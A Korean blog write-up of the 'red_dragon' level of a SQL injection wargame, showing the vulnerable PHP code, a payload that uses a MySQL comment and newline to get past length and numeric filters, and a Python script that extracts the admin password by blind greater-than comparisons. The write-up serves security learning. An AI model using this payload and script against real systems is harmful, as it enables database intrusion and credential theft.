정신 차려보니 green_dragon 문제를 푼지 벌써 2주가 지나있다. 그동안 휴가도 다녀오고 휴가를 다녀오느라 못한 일들을 하느라 정신이 없었다. red_dragon을 오랜만에 풀어보았는데 좀 어려웠다 ㅠㅠ

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
------------------------------------------------------------------------------------
query : select id from prob_red_dragon where id='' and no=1
------------------------------------------------------------------------------------

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET[id]}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_red_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("red_dragon");
  highlight_file(__FILE__);
?>

이번엔 idno를 입력 받는다. 그런데 id7글자를 넘을 수 없고, no에는 순전히 숫자만 들어갈 수 있다. 그래서 처음에는 id가 admin인 행의 no를 찾아보자!라고 생각했는데, no가 아무래도 작은 수는 아닌가보다. 그리고 문제를 풀려면 정확한 pw의 값이 필요한데, 이 방법으로는 그걸 알아낼 수도 없다. 한참을 고민했는데 모르겠어서 주변의 웹잘알님께 물어보았다. 그랬더니 아래와 같은 방법을 알려주었다.

1
?id='||pw>%23&no=%0a0x61

이렇게 입력하면 완성되는 쿼리는 다음과 같다.

1
2
select id from prob_red_dragon where id=''||pw>#' and no=
0x61

no= 다음에 %0a를 입력했기 때문에 뒤의 0x61은 다음 줄에 들어간다. #MySQL에서 한 줄 주석 문자이며, MySQL에서는 여러 줄에 걸쳐 쿼리를 입력할 수 있다. 그래서 위의 쿼리문에서 주석처리되는 부분과 개행을 빼고 깔끔하게 정리하면 아래와 같이 된다.

1
select id from prob_red_dragon where id=''||pw>0x61

헤… 이러면 한 글자 씩 pw를 비교할 수 있다! 아래는 내 서버에서 테스트 해 본 결과이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mysql> select * from user where id='admin' and pw>0x61;
+---------+----------+
| id      | pw       |
+---------+----------+
| admin   | asdawqwe |
+---------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='admin' and pw>0x62;
Empty set (0.00 sec)

mysql> select * from user where id='admin' and pw>0x6172;
+---------+----------+
| id      | pw       |
+---------+----------+
| admin   | asdawqwe |
+---------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='admin' and pw>0x6173;
+---------+----------+
| id      | pw       |
+---------+----------+
| admin   | asdawqwe |
+---------+----------+
1 row in set (0.01 sec)

mysql> select * from user where id='admin' and pw>0x6174;
Empty set (0.00 sec)

위와 같이 pw를 한 글자 씩 비교할 수 있는데, =이 아닌 >를 통해 비교하고 있기 때문에 결과값이 나오지 않는 순간의 직전 값이 pw의 정확한 값이 된다. 따라서 문제에서 pw의 값을 hex 값으로 비교를 하다가 Hello admin이 안나온다면 그 값에서 -1을 한 값이 pw가 된다. 그런데 마지막 글자를 찾을 때는 다르다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
mysql> select * from user where id='admin' and pw>0x6173646177717764;
+---------+----------+
| id      | pw       |
+---------+----------+
| admin   | asdawqwe |
+---------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='admin' and pw>0x6173646177717765;
Empty set (0.00 sec)

위의 예시에서도 알 수 있듯이 마지막 글자는 Hello admin이 나오지 않은 값이 정확한 pw의 값이다. 이를 바탕으로 아래와 같이 코드를 구현했다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

flag = "0x"

url = "http://los.rubiya.kr/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id="
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find password"

for j in range(1, 20):
	found = False
	for i in range(48, 128):
		try:
			query = url + "'||pw>%23&no=%0a" + flag + hex(i)[2:]
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if 'Hello admin' not in r.text:
			flag += str(hex(i - 1))[2:]
			print "[+] Found " + str(j), ":", flag
			found = True
			break
	if not found:
		print "[+] Found password finished"
		break
	
flag = flag[2:].decode("hex")
flag = flag[:-1] + chr(ord(flag[-1]) + 1)
print "[+] Found password : ", flag
print "[+] End"

pw의 길이를 모르기 때문에 일단 20까지 반복문을 돌렸다. 그리고 마지막 글자는 Hello admin이 나오지 않은 그 순간의 값이기 때문에 다시 +1을 해 출력 해 주었다. 그 결과 다음과 같았다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ python ex.py 
[+] Start
[+] Find password
[+] Found 1 : 0x41
[+] Found 2 : 0x4135
[+] Found 3 : 0x413533
[+] Found 4 : 0x41353344
[+] Found 5 : 0x4135334444
[+] Found 6 : 0x413533444434
[+] Found 7 : 0x41353344443436
[+] Found 8 : 0x4135334444343640
[+] Found password finished
[+] Found password :  A53DD46A
[+] End

이 전의 문제에서도 pw의 값은 소문자였기 때문에 이번에도 아래와 같이 소문자로 입력 해 주었다.

1
?pw=a53dd46a

그 결과 문제를 풀 수 있었다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
----------------------------------------------------------------------------------
query : select id from prob_red_dragon where id='' and no=1
----------------------------------------------------------------------------------

RED_DRAGON Clear!
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET[id]}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_red_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("red_dragon");
  highlight_file(__FILE__);
?>

1
RED_DRAGON Clear!!